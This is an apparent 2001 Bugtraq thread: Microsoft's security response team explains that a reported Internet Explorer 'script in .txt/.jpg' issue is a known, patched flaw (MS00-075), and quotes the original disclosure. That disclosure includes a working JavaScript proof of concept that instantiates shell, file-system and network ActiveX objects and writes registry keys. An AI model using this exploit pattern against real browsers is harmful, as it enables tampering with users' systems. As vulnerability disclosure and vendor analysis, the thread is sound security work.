RE: TXT or HTML? -- IE NEW BUG

["Microsoft Security Response Center" <secure () microsoft com>]

Hi All -

We investigated this report when we received it on 20 July, and reported
our findings to the author.  The short answer is that there doesn't
appear to be anything new here.  However, because the report mixes
references to several different issues, it can be difficult to see why
this is.
*       The Javascript listing below does indeed exploit a
vulnerability.  However, it's a known vulnerablity for which a patch has
been available since October 2000.  The issue is discussed in Microsoft
Security Bulletin MS00-075
(http://www.microsoft.com/technet/security/bulletin/MS00-075.asp).
*       If script were included within a .txt, .jpg or other file and
hosted on a web site, it could be opened automatically by a page on the
site.  However, the script would run in the web page's domain, so it
would be subject to all the same limitations as script on the page
itself.  That is, embedding the script within the file wouldn't gain the
attacker any capabilities.
*       If a user could be convinced to download a .txt, .jpg or other
file to the desktop and then open it, either of two effects would
result, depending on the file type.  Most file types don't open in IE by
default.  For instance, .txt files open in Notepad by default.  In these
cases, the script in the file wouldn't run.  Other file types,
principally image files, do open in IE by default.  However, when
they're opened from the local machine, they're sent directly to the
image rendering engine in IE, bypassing the script parser.  Once again,
the script wouldn't run.  
*       Attached files in email are handled the same as downloaded
files.  So again, either the file would open by default in a program
other than IE, or would open in a way that bypasses the script
interpreter.

Hope that helps explain the situation.  Regards,

Scott Culp
Security Program Manager
Microsoft Security Response Center



-----Original Message-----
From: cr4zybird [mailto:cr4zybird () hotmail com] 
Sent: Friday, July 27, 2001 3:07 PM
To: bugtraq () securityfocus com
Subject: TXT or HTML? -- IE NEW BUG


TXT or HTML? -- IE NEW BUG

vulnerable programs:

IE4 ,IE5 ,IE5,IE6 ,Microsoft Word ,Microsoft 

Excel,Microsoft PowerPoint, 

Tencent explorer (I've tested all the versions of IE that 

i can find, they 

are all vulnerable)



description:

IE doesn't recognize the extensions of files, which 

may contain some html 

code.

Write a HTML file on NOTEPAD. save it as *.txt. 

upload to any server.then 

use IE to visit this page.Found: IE excuted the HTML 

code which contained in 

*.txt files. and we can also change the extension, like 

*.jpg or other 

non-downloaded files.finally i found that IE can't 

recognize the extension 

of a file.

using this bug, anyone who knows how to make 

webpages can successfully 

attack other people. because of user's generic 

thought, they think only 

.html/.htm can be used to attack, but now, 

even .txt.jpg.png can do 

everything that a hmtl page can do! even the e-mail 

attachment! because 

outlook express is vulnerable, too. treat it seriously 

please.

Due to the company's not wanting to be responsible 

for this bug, please, 

take it seriously, and be aware.

here is a source code, just to prove the existence of 

this new bug.



<SCRIPT Language="JavaScript" 

type="text/javascript">

<!--



document.write("<APPLET HEIGHT=0 WIDTH=0 

code=com.ms.activeX.ActiveXComponent></APPLE

T>");



function f(){

try

{

//ActiveX initialization

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-

00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-

00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-

00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();



try

{

if (document.cookie.indexOf("Chg") == -1)

{





Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet 

Explorer\\Main\\Window 

Title", "it's a good day to die!");

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet 

Explorer\\Main\\Window 

Title", "it's a good day to die!");

var expdate = new Date((new Date()).getTime() + 

(1));

document.cookie="Chg=general; expires=" + 

expdate.toGMTString() + "; 

path=/;"



}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();



// -->

</SCRIPT>



<img src=http://www.gnu.org/graphics/gnu-head-

sm.jpg>





it's a .jpg which may change your IE title(you have to 

change the extension 

to *.jpg first)

non-vulnerable programs:

netscape



solutions:

1) download some antivirus softwares. and update 

the virus datebase all the 

time. and change the name of some 'dangerous' 

programs  in your system, such 

as format.exe deltree.exe etc. i.e change format.exe 

to format_0.com etc.

2) try, not to visit those so-

called 'hacker'or'cracking'sites. most of the 

time, you are the victim while you want to learn to 

attack others.

3) if you have to go visit some site that you are not 

quite sure if they are 

safe. then check it here first: 

http://crazybird.51.net/look.htm

   or you can also save the source code of this page 

to your computer, then 

save it as *.htm, so you can execute it on your own 

comp. be aware if it 

says "the web page contains some unsafe ActiveX" 

or something like that,

   then you'd better not to execute that ActiveX widget. 

and i can't promise 

that it can give you this kind of warn for any 

aggressive files..

4) DO NOT open your attachment in IE!!!!!don't ever 

open any type of file in 

IE directly!!!BE AWARE!! you'd better use antivirus 

to scan it before you 

open it after you've download it to ur computer.

5) Update the system patch immediately if the patch 

comes out.



if you still have quesitions, mail to:

cr4zybird () hotmail com

thanks to: springcream, skywind, nETMONKEY, 

xiajian, Nancy. they've gave me 

a lot of help on testing and communicatin with 

Microsoft



by:

crazybird

cr4zybird () hotmail com

IRC: irc.sunnet.org 6667

#CNFORCE

26/7/01 China